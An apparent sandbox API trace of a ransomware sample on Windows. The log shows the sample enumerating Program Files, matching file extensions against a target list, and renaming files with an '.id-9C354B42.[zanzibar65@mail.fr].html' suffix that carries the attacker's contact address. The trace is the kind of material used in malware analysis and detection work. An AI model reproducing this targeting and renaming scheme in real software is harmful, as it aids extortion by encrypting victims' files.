[0046.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.939] lstrlenW (lpString=".1cd") returned 4 [0046.939] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.939] lstrlenW (lpString=".jpg") returned 4 [0046.939] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.939] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0046.939] lstrlenW (lpString="adcvbs.inc") returned 10 [0046.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0046.944] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=623) returned 1 [0046.944] CloseHandle (hObject=0x194) returned 1 [0046.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0046.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.944] lstrlenW (lpString=".doc") returned 4 [0046.944] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.944] lstrlenW (lpString=".docx") returned 5 [0046.945] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.945] lstrlenW (lpString=".pdf") returned 4 [0046.945] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.945] lstrlenW (lpString=".xls") returned 4 [0046.945] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.945] lstrlenW (lpString=".xlsx") returned 5 [0046.945] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.945] lstrlenW (lpString=".ppt") returned 4 [0046.945] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.945] lstrlenW (lpString=".zip") returned 4 [0046.945] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.945] lstrlenW (lpString=".rar") returned 4 [0046.945] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.945] lstrlenW (lpString=".bz2") returned 4 [0046.945] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.945] lstrlenW (lpString=".7z") returned 3 [0046.945] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.945] lstrlenW (lpString=".dbf") returned 4 [0046.945] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.945] lstrlenW (lpString=".1cd") returned 4 [0046.945] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.945] lstrlenW (lpString=".jpg") returned 4 [0046.945] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.945] lstrlenW (lpString=".doc") returned 4 [0046.945] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.945] lstrlenW (lpString=".docx") returned 5 [0046.945] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.946] lstrlenW (lpString=".pdf") returned 4 [0046.946] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.946] lstrlenW (lpString=".xls") returned 4 [0046.946] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.946] lstrlenW (lpString=".xlsx") returned 5 [0046.946] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.946] lstrlenW (lpString=".ppt") returned 4 [0046.946] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.946] lstrlenW (lpString=".zip") returned 4 [0046.946] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.946] lstrlenW (lpString=".rar") returned 4 [0046.946] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.946] lstrlenW (lpString=".bz2") returned 4 [0046.946] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.946] lstrlenW (lpString=".7z") returned 3 [0046.946] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.946] lstrlenW (lpString=".dbf") returned 4 [0046.946] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.946] lstrlenW (lpString=".1cd") returned 4 [0046.946] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0046.946] lstrlenW (lpString=".jpg") returned 4 [0046.946] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.946] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0046.946] lstrlenW (lpString="oledbvbs.inc") returned 12 [0046.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0046.953] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9975) returned 1 [0046.953] CloseHandle (hObject=0x194) returned 1 [0046.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0046.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.954] lstrlenW (lpString=".doc") returned 4 [0046.954] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.954] lstrlenW (lpString=".docx") returned 5 [0046.954] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.954] lstrlenW (lpString=".pdf") returned 4 [0046.954] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.954] lstrlenW (lpString=".xls") returned 4 [0046.954] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.954] lstrlenW (lpString=".xlsx") returned 5 [0046.954] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.954] lstrlenW (lpString=".ppt") returned 4 [0046.954] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.954] lstrlenW (lpString=".zip") returned 4 [0046.954] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.954] lstrlenW (lpString=".rar") returned 4 [0046.954] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.954] lstrlenW (lpString=".bz2") returned 4 [0046.954] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.954] lstrlenW (lpString=".7z") returned 3 [0046.954] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.954] lstrlenW (lpString=".dbf") returned 4 [0046.954] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString=".1cd") returned 4 [0046.955] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString=".jpg") returned 4 [0046.955] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString=".doc") returned 4 [0046.955] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.955] lstrlenW (lpString=".docx") returned 5 [0046.955] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.955] lstrlenW (lpString=".pdf") returned 4 [0046.955] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.955] lstrlenW (lpString=".xls") returned 4 [0046.955] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.955] lstrlenW (lpString=".xlsx") returned 5 [0046.955] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.955] lstrlenW (lpString=".ppt") returned 4 [0046.955] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString=".zip") returned 4 [0046.955] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.955] lstrlenW (lpString=".rar") returned 4 [0046.955] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.955] lstrlenW (lpString=".bz2") returned 4 [0046.955] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.955] lstrlenW (lpString=".7z") returned 3 [0046.955] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString=".dbf") returned 4 [0046.955] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.955] lstrlenW (lpString=".1cd") returned 4 [0046.956] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0046.956] lstrlenW (lpString=".jpg") returned 4 [0046.956] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.956] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0046.956] lstrlenW (lpString="DissolveNoise.png") returned 17 [0046.956] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0046.960] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=751669) returned 1 [0046.960] CloseHandle (hObject=0x194) returned 1 [0046.960] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0046.960] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.960] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.960] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.960] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.960] lstrlenW (lpString=".doc") returned 4 [0046.960] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0046.960] lstrlenW (lpString=".docx") returned 5 [0046.960] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0046.960] lstrlenW (lpString=".pdf") returned 4 [0046.960] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0046.960] lstrlenW (lpString=".xls") returned 4 [0046.960] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0046.960] lstrlenW (lpString=".xlsx") returned 5 [0046.960] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0046.960] lstrlenW (lpString=".ppt") returned 4 [0046.961] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0046.961] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.961] lstrlenW (lpString=".zip") returned 4 [0046.961] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0046.961] lstrlenW (lpString=".rar") returned 4 [0046.961] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0046.961] lstrlenW (lpString=".bz2") returned 4 [0046.961] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0046.961] lstrlenW (lpString=".7z") returned 3 [0046.961] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0046.961] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.961] lstrlenW (lpString=".dbf") returned 4 [0046.961] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0046.961] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.961] lstrlenW (lpString=".1cd") returned 4 [0046.961] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0046.961] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.961] lstrlenW (lpString=".jpg") returned 4 [0046.961] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0046.961] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.961] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.961] lstrlenW (lpString=".doc") returned 4 [0046.961] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0046.961] lstrlenW (lpString=".docx") returned 5 [0046.961] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0046.961] lstrlenW (lpString=".pdf") returned 4 [0046.961] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0046.961] lstrlenW (lpString=".xls") returned 4 [0046.961] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0046.961] lstrlenW (lpString=".xlsx") returned 5 [0046.961] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0046.961] lstrlenW (lpString=".ppt") returned 4 [0046.961] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0046.962] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.962] lstrlenW (lpString=".zip") returned 4 [0046.962] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0046.962] lstrlenW (lpString=".rar") returned 4 [0046.962] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0046.962] lstrlenW (lpString=".bz2") returned 4 [0046.962] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0046.962] lstrlenW (lpString=".7z") returned 3 [0046.962] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0046.962] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.962] lstrlenW (lpString=".dbf") returned 4 [0046.962] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0046.962] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.962] lstrlenW (lpString=".1cd") returned 4 [0046.962] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0046.962] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0046.962] lstrlenW (lpString=".jpg") returned 4 [0046.962] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0046.962] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0046.962] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0046.962] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.965] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3286) returned 1 [0046.965] CloseHandle (hObject=0x1ec) returned 1 [0046.965] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0046.965] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.965] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.965] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0046.965] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0046.965] lstrlenW (lpString=".doc") returned 4 [0046.965] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0046.965] lstrlenW (lpString=".docx") returned 5 [0046.965] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0046.965] lstrlenW (lpString=".pdf") returned 4 [0046.965] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0046.965] lstrlenW (lpString=".xls") returned 4 [0046.965] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0046.965] lstrlenW (lpString=".xlsx") returned 5 [0046.965] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0046.965] lstrlenW (lpString=".ppt") returned 4 [0046.965] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0046.965] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0046.965] lstrlenW (lpString=".zip") returned 4 [0046.965] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0046.965] lstrlenW (lpString=".rar") returned 4 [0046.965] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0046.966] lstrlenW (lpString=".bz2") returned 4 [0046.966] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0046.966] lstrlenW (lpString=".7z") returned 3 [0046.966] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0046.966] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0046.966] lstrlenW (lpString=".dbf") returned 4 [0046.966] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0048.096] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.097] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.097] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.098] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.098] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.098] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.099] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.099] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.100] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.100] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0048.121] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.121] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 